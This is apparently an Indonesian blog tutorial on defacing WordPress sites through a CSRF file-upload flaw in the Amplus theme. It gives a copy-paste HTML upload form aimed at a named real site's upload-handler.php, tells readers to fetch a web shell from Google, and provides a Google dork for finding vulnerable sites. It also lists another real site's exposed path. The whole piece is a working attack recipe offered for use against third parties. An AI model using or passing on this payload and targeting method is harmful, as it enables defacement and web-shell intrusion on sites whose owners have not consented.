Assalamualaikum ^w^

Sebelum Membahas ini Pada tau kan Cara Deface Dengan Cross Site Request Forgery atau CSRF ? :D
Nah Kali ini Saya akan Membahas Cara Deface dengan WordPress Amplus Themes CSRF File Upload Vulnerability :v /

Oke Langsung aja ~

Bahan2 :

1. Script CSRF ( Copas Kode di Bawah ini lalu Simpan Dengan Format .html )

<form enctype="multipart/form-data"
action="http://galih-miftah-sani.or.id/wordpress/wp-content/themes/Amplus_v3.x.x/library/includes/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

2. Shell Pastinya :D Belom Punya Shell ? :o Cari di Google Banyak kakak Bertebaran :)))
3. Koneksi Internet
4. Secangkir Kopi :v /

Oke Nih Cara2 nya :

Pertama Kita Cari dulu Target Yang Vuln Dengan Dork dibawah ini :

inurl:/wp-content/themes/Amplus_v3 ~ Dork bisa Di Kembangin Sendiri :D

Exploit : /wp-content/themes/Amplus_v3/library/includes/upload-handler.php

Note Sebagai Kunci Kesuksesan Biar ga salah Arah ~

Untuk Exploit ganti kata yang Bergaris Merah ini Amplus_v3 dengan Sesuai dengan Tema Site nya ~ Amplus_v3.o atau Amplus_v3.x.x ~ Tergantung Temanya juga ini :v

Nah Kalo Udh Nemu Kita Langsung Exploitin ~ Kalo Yang Vuln itu ada Tulisan ~ error ~ di situ :D

Kaya gini nih kalo punya saya  ~

http://www.alivelanguage.com/wp-content/themes/amplus_v3.0/library/includes/upload-handler.php